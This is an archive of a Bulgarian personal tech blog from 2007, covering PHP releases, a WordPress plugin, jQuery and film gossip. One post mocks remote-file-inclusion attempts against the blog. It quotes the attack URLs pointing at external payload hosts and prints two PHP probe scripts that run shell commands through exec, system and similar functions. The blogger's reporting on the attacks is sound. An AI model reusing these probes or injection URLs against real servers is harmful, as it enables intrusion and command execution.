август 31

Хайде на PHP 5.2.4!

След нещо като скоростно бачкане върху нов release, новия PHP 5.2.4 е най-накрая готов! Има доста обширен списък от промени – това са повече от 120 обравени бъга (как е „бъг“ на български – „буболечка“ ли?), и също доста просторен списък от малки подобрения по сигурността. Може да намерите кракто описание на промените в този release тук, а цилия дълъг и скучен списък на всички промени може да намерите в ChangeLog-а.

август 29

Невероятна нова технология: динамично променяне на размера на изображения

Заглавието може да изглижда тривиално, но всъщност не е така – това което видях на Ajaxian беше просто невероятно. Ето един опит да преведа новината публикувана там:

Майкъл Арингтън (Michael Arrington) от TechCrunch съобщи за новата технология преди два дена, създадена от доктор Ариел Шамир (Dr. Ariel Shamir) и докторШай Авидан (Dr. Shai Avidan), която може да има драматично и необратимо влияние върху динамичния характер на уеб страниците (бел.прев. а и всяка друга цифрова медия). Технологията позволява динамично променяне на размера на изображения, и от това което се вижда от видеото, може да се каже, че работи много гладко. Арингтън дори споменава колко много би искал тази нова технология в Adobe Photoshop.

Ами, изглежда че желанието му ще се сбъдне, след като Adobe са наели единиа от дватама изобретатели – доктор Шаи Авидан.

Check out the video to see the technology in action…

Наистина погледнете видеото, ще останете наистина изумени. Оригиналната новина може да намерите тук:

август 26

Star Wars и таратора

Тараторът е нещо много добро не само поради добрите му вкусови качества и превъзходния му освежаващ ефект, а и защото у нас той е много удобен инструмент на гостприемството ни – както казва мама „дошъл ти е някой на гости, и сега хоп – от таратор за двама с малко вода става таратор за трима“ :) Сега да си дойдем на темата – май нещо точно такова почва да прави и Джордж Лукас. И аз съм фен, ама хайде стига толкова!

Сега Lucasfilm подготвят ново заглавие наречено „Войната на клонингите“ (The Clone Wars). „Ама чакайте малко,“ ще кажете, „нали Епизод II вече беше за войната на клонингите?“ Не, заспо, това беше просто Клонираните Атакуват (или както се майтапеха, „Пич, къде ми е клонинга?„), а не Войната на клонингите в целия и мащаб. Посло онова беше игрален филм, а това ще е анимационен.
„Аха, значи става дума за анимационните серии Star Wars: Clone Wars на Генди Тартаковски (Genndy Tartakovsky), които гледахме по Cartoon Network (и по Нова),“ наивно бихте се подлъгали вие. Не, става дума наистина за анимационен филм за Войната на Клонингите, само дето този ще е 3-D!

„Значи всъщност това е извинение да се направят още сериее, да се поосвежат героите така че да приличат на излезли от видео игра (като например нека Йода да прилича на Покемон), после наистина да направят игра по филма, да пуснат и филма на DVD, да направят още играчки ,сувенири фанелки и Ñ‚.н. по герои от филма, и да приберат отново парите на феновете разчитайки на старата слава на сериите?“ Да! Ето сега ще сте познали. Няма нищо за чудене, същия „бизнес модел“ го приложиха върху продълженията на Матрицата, на Карибските Пирати и на самите Междузвездни войни – не толкова за да угодят на истинските фенове, колкото да приберат едни пари.

Ако не сте го загряли още, Джордж Лукас е Императора, тръгнал да прави независими филми от големите на деня през 70-те, и превърнал се в това което е днес, заедно с неговата империя – Lucasfilm!

И „големите“ правят грешки…

Тази сутрин докато щраках малко новия плъгин видях ето това на Alexa:

Alexa fucks it up
Alexa fucks it up

Ами, изглежда, че може да се случи на всеки :)

август 25

Ха-ха-ха, просто не е истина …

Две минути се смях като го видях. Помислих си, че е правописна грешка. После отидох на сайта им – и видях, че не е грешка, ами наистина така се казват – ФАШЪН.БГ :) Иначе казано „фашън беге“ :) Пак ме напира смях просто … абе правилното произношение не е ли „фешън“ ? Знам, че транскрипцията му е с АЕ, обаче все пак това фашън … как да го кажа … някак си гравитира около фашкия :) Може и аз в безкрайната си ограниченост да не ги разбирам работите, обаче все пак посмях се тази вечер.

Две минути се смях като го видях. Помислих си, че е правописна грешка. После отидох на сайта им – и видях, че не е грешка, ами наистина така се казват – ФАШЪН.БГ :)
Две минути се смях като го видях. Помислих си, че е правописна грешка. После отидох на сайта им – и видях, че не е грешка, ами наистина така се казват – ФАШЪН.БГ :)
Пак ме напира смях просто … абе правилното произношение не е ли „фешън“ ?
Пак ме напира смях просто … абе правилното произношение не е ли „фешън“ ?

Някой ще коментира ли ?

По-добрия „Alexa Redirect“ WordPress плъгин: версия 0.2

От 11 януари 2008 Alexa Redirect вече не работи.

Трябва да се напъна и да се концентирам върху „основните“ си задачи, обаче днес така или иначе нямаше да свърша нищо заради отвратилентата жега, и така откъм 19:00 до сега сложих всички подобрения и фиксове които искаха за Better “Alexa Redirect” WordPress Plugin и ето – готова е следващата версия.

Better “Alexa Redirect” WordPress Plugin: version 0.2 (Aug 25, 2007)
Better “Alexa Redirect” WordPress Plugin: version 0.2 (Aug 25, 2007)

За повече информация посете (отново) станицата за проекта ето тук:

а новата версия на самия проект може да се смъкне веднага ето от тук:

август 24

Mrasnika Simpsonized

Сортиране на таблици с jQuery

Такова нещо не ми се е налагало да ползвам от 2003-та и 2004-та или някаде там, и това новото много ми хареса – а пък и jQuery ми е малко новата страст :)

Tablesorter подрежда HTML таблици с код, малък колкото един ред, и с много функции за напреднали като:

  • Сортиране по много колони
  • Писане на нови парсери за клетките на таблиците
  • Разширяване на възможностите чрез widget система
  • Поддръжка на ROWSPAN и COLSPAN за TH елементите

Всичко това пакетирано в 7.4KB код. Плюс две „теми“ за форматиране на външния вид на таблиците, специален widget за запомняне на настройките в Cookies, widget за премахване на редове и plugin за странициране.

Повече информация тук и тук.

Ех, малоумници…

Луд умора нема да пробва да изчакали нещо… ето това са се пробвали да заредят:

http://www.mrasnika.info/220/smarty_config.php?root_dir=http://usuarios.arnet.com.ar/larry123/safe.txt?

Тъпо е, защото нямам Smarty на WordPress-а ;) Иначе файла е някакъв тъп probe:

<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824)
 {$size = round($size/1073741824*100)/100
 ." GB";}
elseif ($size >= 1048576)
 {$size = round($size/1048576*100)/100
 ." MB";}
elseif ($size >= 1024)
 {$size = round($size/1024*100)/100
 ." KB";}
else {$size = $size . " B";}
return $size;
}
}

PS. Ех, ама наистина луд умора няма, ентусиастите продължават да се пробват да изчакалят…

http://www.mrasnika.info/220/smarty_config.php?root_dir=http://gendut-jelek.zoomshare.com/cek.txt?
http://www.mrasnika.info/220/smarty_config.php?root_dir=http://collegejacquesprevert.ca/eleves/.plugins/id.txt?
http://www.mrasnika.info/220/smarty_config.php?root_dir=http://sikodoq.fileave.com/id.txt?

Този път probe-а е малко по различен (не че сте постигне някакъв по-добър резултат):

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Забавно, а ?!

август 23

PHP умира трудно

Не се подлъгвайте по заглавието, няма да е поредния пост за PHP4. Добрата новина е за това какво прави PHP като грумне с някой phatal ;). Ако сте работили малко повече време с PHP, сигурно знаете, че един от недодяланите недостатъци които има, е какво прави като „умре“. Ако стане някой проблем и се натъкне на някаква сериозна грешка, като примелно синтактична грешка при parse-ването, PHP просто спира и това е – прост няма какво да се направи по въпроса. Особенно досадно е, ако това се случи не при теб докато разработваш някое приложение, ами някаде на
някой сървър, където виждаш празна страница
и HTTP код 200 OK. Не е коректно, нали ? И напълно безполезно. Който е достатъчно умен и с опит ще е нагласил error-logging-а на PHP за да може да види вси пак какъв е проблема, но това не помага въобще при поведението на приложението при възникване на такъв проблем.

Сега нека да погледнем промениете, които
идват с PHP 5.2.4 :

Changed error handler to send HTTP 500 instead of blank page on PHP errors. (Dmitry, Andrei Nigmatulin)

Ето това е правилно ползване на HTTP Response Status кодовете! Ако си „фен“ на максималното бъркане в мозъка на HTTP (разбирай „искаш да изцедиш максимално много“), това е просто „Имаме Новина!“. Тепърва ще чакаме да се появи някаква документация за това ново попълнение, и все пак предполагам, че в бъдеще ако PHP отговори с код 200 OK, то наистина всичко си му е наред.